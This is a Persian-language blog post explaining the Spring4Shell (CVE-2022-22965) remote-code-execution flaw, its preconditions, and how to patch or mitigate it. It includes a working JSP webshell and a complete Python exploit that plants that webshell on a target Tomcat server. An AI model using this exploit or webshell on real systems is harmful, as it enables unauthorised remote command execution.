وبلاگ

تحلیل و اکسپلویت آسیب پذیری Spring4Shell

یک آسیب‌پذیری جدید روز صفر اجرای کد از راه دور (RCE) به نام «Spring4Shell» یا «SpringShell» در  فریمورک Spring فاش شد. یک مهاجم غیرمجاز می تواند از این آسیب پذیری برای اجرای کد دلخواه از راه دور بر روی دستگاه مورد نظر سوء استفاده کند.

 

ما در این پست در مقاله به موارد کلیدی اشاره کردیم و راه حل هایی برای رفع این آسیب پذیری هم خدمت دوستان گفتیم

اگر مشتاق این هستید که بدونید این آسیب پذیری دقیقا چطور رخ داده و چطور میتوان اکسپلویت کرد ما به صورت تکنیکال و deep dive یک ویدیو درست کردیم که حتما پیشنهاد میکنم اول ویدیو را مشاهده کنید و بعد مقاله را مطالعه کنید 🙂

 

ویدیو تحلیل و اکسپلویت آسیب پذیری CVE-2022-22965 – SpringShell (Spring4Shell):

 

برای مشاهده ویدیو حتما vpn خود را روشن کنید و حتما کانال یوتوب ما رو هم دنبال کنید !

Spring Framework چیست؟

Spring-core یک فریمورک رایج است که به طور گسترده در برنامه های کاربردی جاوا استفاده می شود که به توسعه دهندگان نرم افزار اجازه می دهد تا برنامه های جاوا را با اجزای سطح سازمانی بدون زحمت توسعه دهند.

 

کدام نسخه ها آسیب پذیر هستند؟

این آسیب‌پذیری نیازمند اجرای JDK نسخه ۹ یا بالاتر است. Spring Framework نسخه های ۵٫۳٫۰ تا ۵٫۳٫۱۷، ۵٫۲٫۰ تا ۵٫۲٫۱۹ و نسخه های قدیمی تر آسیب پذیر هستند. این به مهاجمان راه دور اجازه می‌دهد هنگام اجرای برنامه‌های فریمورک Spring در بالای JRE 9، یک web shell درست کنند. این امر به دلیل غیر ایمن‌سازی آرگومان‌های داده شده است که یک درخواست HTTP  ساده می‌تواند باعث دسترسی کامل از راه دور شود. با ما همراه باشید تا به صورت دقیق تر علت ایجاد آسیب پذیری را توصیح دهیم 🙂

 

دقیقاً چه زمانی آسیب‌پذیری SpringShell (Spring4Shell) قابل بهره‌برداری است؟ :

  • برنامه وب شما بر اساس Spring Framework ساخته شده است (مثلاً با استفاده از Spring Boot)
  • برنامه وب شما روی JDK 9 یا  نسخه بالاتر اجرا می شود
  • برنامه وب شما از Data Binding برای اتصال پارامترهای درخواست به یک object جاوا استفاده می کند
  • برنامه شما در وب سرور Apache Tomcat باشد
  • بسته بندی شده به صورت فرمت WAR (Web Application Archive or Web Application Resource) ( که به صورت پیشفرض در این نوع بسته بندی است)

برنامه وب شما از Data Binding استفاده کند :

 از آنجایی که آسیب‌پذیری در مکانیسم data binding Spring است، فقط برنامه‌های کاربردی وب که سعی می‌کنند پارامترهای درخواست را به POJO (اشیاء ساده قدیمی جاوا) متصل کنند آسیب‌پذیر هستند. در عمل، این بدان معناست که کنترل کننده درخواست یک نوع کلاس تعریف شده توسط کاربر را به عنوان اولین آرگومان دریافت می کند.

هر یک از annotations های زیر، کنترل کننده درخواستی را نشان می دهد که ممکن است آسیب پذیر باشد 

				
					@RequestMapping
@GetMapping
@PostMapping
@PutMapping
@DeleteMapping
@PatchMapping
				
			

نمونه‌ای از یک Controller آسیب‌پذیر :

				
					@Controller
public class HelloController {
  @GetMapping("/greeting")
  public String helloWorld(@ModelAttribute SomeClass someClass, Model model) {
      return "hello";
  }
}
				
			

به annotation @ModelAttribute توجه کنید که نشان می دهد اتصال داده ها انجام خواهد شد.

همان کنترل کننده درخواست همچنین می تواند بدون annotation @ModelAttribute (برای آرگومان someClass) نوشته شود و همچنان آسیب پذیر باشد –

				
					@GetMapping("/greeting")
public String helloWorld(SomeClass someClass, Model model) {
    return "hello";
}
				
			

به عنوان مرجع، توجه داشته باشید که هنگام استفاده از انواع پارامترها / annotations های زیر، آسیب پذیری نمی تواند مورد سوء استفاده قرار گیرد –

				
					WebRequest
NativeWebRequest
ServletRequest
ServletResponse
MultipartRequest
MultipartHttpServletRequest
HttpSession
PushBuilder
Principal
HttpMethod
Locale
TimeZone
ZoneId
InputStream
Reader
OutputStream
Writer
@PathVariable
@MatrixVariable
@RequestParam
@RequestHeader
@CookieValue
@RequestBody
HttpEntity
@RequestPart
Map
Model
ModelMap
RedirectAttributes
SessionStatus
@SessionAttribute
@SessionAttributes
UriComponentsBuilder
@RequestAttribute
				
			

 

چرا CVE-2022-22965 – SpringShell (Spring4Shell) بسیار خطرناک است؟

Spring Framework یک فریمورک بسیار محبوب برای ساخت برنامه های کاربردی وب است و آسیب پذیری SpringShell در قلب این فریم ورک نهفته است، به این معنی که بسیاری از برنامه های وب که با استفاده از Spring Framework ساخته می شوند، مستعد این مشکل خواهند بود.

اگرچه آسیب‌پذیری امنیتی برای همه برنامه‌های کاربردی وب قابل بهره‌برداری نیست (پیشنیاز هایی برای بهره برداری از این آسیب پذیری نیاز است که در بخش قبلی گفتیم)، پیش نیازهای بهره‌برداری ممکن است بسیار نادر نباشد. به عنوان مثال، یکی از آموزش‌های اساسی منتشر شده توسط Spring – “Handling Form Submission” در معرض این آسیب‌پذیری است. با توجه به این واقعیت که بسیاری از توسعه دهندگان برنامه های وب از این آموزش ها به عنوان الگو استفاده می کنند، این می تواند منجر به آسیب پذیری برنامه های کاربردی در طبیعت شود.

تاثیر این آسیب پذیری بالاترین حد ممکن است – اجرای کد از راه دور.

علاوه بر این، هیچ تکنیک کاهشی در خود JDK در برابر این نوع آسیب‌پذیری وجود ندارد، و این آسیب‌پذیری برای بهره‌برداری به شیوه‌ای پایدار بی‌اهمیت است.

با وجود تمام موارد فوق، ما باور نداریم که این مشکل به اندازه Log4Shell گسترده باشد.

 

SpringShell (Spring4Shell) در حال حاضر چگونه مورد بهره برداری قرار می گیرد؟

راه‌های زیادی برای بهره‌برداری از ClassLoader به منظور به دست آوردن اجرای کد از راه دور وجود دارد، اما اکسپلویت اصلی PoC منتشر شده، این آسیب‌پذیری امنیتی را با تکنیکی خاص Tomcat سواستفاده می‌کند – از AccessLogValve برای به دست آوردن بازنویسی فایل دلخواه استفاده می‌کند.

اکسپلویت در ۲ مرحله کار می کند –

  • نادیده گرفتن ویژگی های ClassLoader مخصوص Tomcat، برای تغییر مسیر فایل لاگ دسترسی به جایی در زیر فهرست اصلی وب، و تغییر الگوی گزارش (داده های نوشته شده) به یک الگوی ثابت که حاوی کد webshell است. این باعث می شود که JSP webshell در فهرست اصلی وب حذف شود
  • ارسال یک درخواستquery به وب شل درست شده توسط مهاجم، برای اجرای یک فرمان شل دلخواه

webshell یک برنامه JSP بسیار ساده است که دستورات شل ارسال شده به آن را از طریق پارامترهای پquery اجرا می کند.

				
					<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
 
while((a=in.read(b))!=-1) {
    out.println(new String(b));
}
%>
				
			

 

چگونه می توانم برای آسیب پذیری SpringShell (Spring4Shell) تست کنم؟

برای آزمایش باید بر روی endpoints زنده، میتوانید از طریق کد exploit پایتون زیر آسیب پذیری را تست کنید

				
					import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="


    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass




if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)

				
			

این کد را با نام exploit.py ذخیره کنید و با دستور زیر اجرا کنید

				
					python exploit.py https://test.com/endpoint
				
			

 

آیا پچ برای Spring4Shell موجود است؟

Spring Framework 5.3.18 و ۵٫۲٫۲۰ که حاوی اصلاحات هستند، منتشر شده است. اگر بتوانید به Spring Framework 5.3.18 و ۵٫۲٫۲۰ ارتقا دهید، هیچ راه حلی لازم نیست.

در صورتی که نمی توانید به آخرین نسخه Spring Framework به روز رسانی کنید، ارتقاء به آپاچی Tomcat 10.0.20، ۹٫۰٫۶۲ یا ۸٫۵٫۷۸ حفاظت کافی را ارائه می دهد اما آسیب پذیری را به طور کامل حل نمی کند.

علاوه بر این، چندین اکسپلویت (PoC) برای Spring4Shell وجود دارد. ما قویاً توصیه می‌کنیم که سازمان‌ها این اقدامات کاهشی را به کار گیرند یا از فایروال شخص ثالث برای دفاع استفاده کنند.

آیا می توانم مشکل SpringShell (Spring4Shell) را بدون ارتقاء کاهش دهم؟

بهترین اقدام، ارتقاء Spring Framework است  اگر ارتقا در حال حاضر امکان پذیر نیست، وبلاگ رسمی Spring پیشنهاد می کند کد برنامه خود را تغییر دهید و یک @ControllerAdvice اضافه کنید که تکالیف را به برخی از فیلدهای داخلی ClassLoader مسدود می کند 

Spring اشاره می کند که این راه حل ایمن نیست و راه حل های احتمالی بیشتری را پیشنهاد می کند، اما به طور کلی ارتقاء بهترین راه حل برای این مشکل است.

				
					@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
 
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }
 
}
				
			
اشتراک گذاری:

مطالب زیر را حتما مطالعه کنید

1 دیدگاه

به گفتگوی ما بپیوندید و دیدگاه خود را با ما در میان بگذارید.

دیدگاهتان را بنویسید